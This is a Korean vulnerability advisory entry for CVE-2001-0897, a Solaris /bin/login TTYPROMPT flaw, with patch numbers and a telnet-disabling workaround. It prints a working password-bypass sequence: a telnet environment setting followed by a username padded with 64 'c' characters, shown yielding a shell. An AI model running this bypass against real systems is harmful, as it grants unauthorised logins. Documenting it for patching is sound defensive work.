English
◀◁ 뒤로
취약점ID 14029
위험도 40
포트 23
프로토콜 TCP
분류 TELNET
상세설명 Solaris 2.6, 7과 8에 있는 /bin/login은 환경변수 TTYPROMPT와 관련된 취약점을 가지고 있다. 이 취약점은 원격지의 공격자가 어떠한 인증정보를 가지고 있지 않더라도 원격 root 로그인이 허용되어 있다면 root를 포함한 어떤 사용자로도 로컬 액세스를 얻을 수 있게 해 준다.
이 취약점은 BugTraq 메일링 리스트에 이미 보고되어 있었고 또한 Sun에 의해 릴리즈된 패치가 존재한다. 그러나 공격자에 의해 컴파일되어야 하는 어떤 코드도 필요없는 매우 간단한 해킹방법이 존재한다.
이 해킹방법은 먼저 공격자가 telnet 내부의 환경변수인 TTYPROMPT를 6 문자의 문자열로 간단하게 설정하는 작업이 필요하다. 일단 원격지의 호스트에 접속되면 64개의 'c' 와 엔트키('\n')가 따르는 사용자명을 타이프해야 한다. 그러면 패스워드 인증없이 해당 사용자로 로그인되어 질 것이다. 이것은 (원격 root 로그인인 허용되어 있지 않다면) root를 제외한 어떤 계정으로도 가능하다.

예:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c (continue)
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

취약한 플랫폼:
Sun Solaris 2.5.1
Sun Solaris 2.6
Sun Solaris 7.0
Sun Solaris 8.0

* 참고 사이트:
http://www.iss.net/security_center/static/7284.php
해결책 다음 Sun 사의 SubSolve 패치 웹사이트에서 시스템에 적절한 패치를 구하여 적용하여야 한다:

SPARC:
Solaris 2.5.1: patch 106160-02 혹은 이후
Solaris 2.6: patch 105665-04 혹은 이후
Solaris 7: patch 112300-01 혹은 이후
Solaris 8: patch 111085-02 혹은 이후

Intel:
Solaris 2.5.1: patch 106161-02 혹은 이후
Solaris 2.6: patch 105666-04 혹은 이후
Solaris 7: patch 112301-01 혹은 이후
Solaris 8: patch 111086-02 혹은 이후

패치를 위해서는 patchadd 명령을 사용하여야 한다. 리부팅은 필요하지 않다.

임시 조치방법으로는 /bin/login을 통해 원격으로 해킹되어질 수 있는 telnet 서버를 작동중지 시키는 것이다. 이렇게 하기 위해서는 /etc/inetd.conf 파일에 있는 관련 엔트리를 주석처리하고 inetd를 재시작시켜야 한다.
관련 URL CVE-2001-0897 (CVE)
관련 URL (SecurityFocus)
관련 URL (ISS)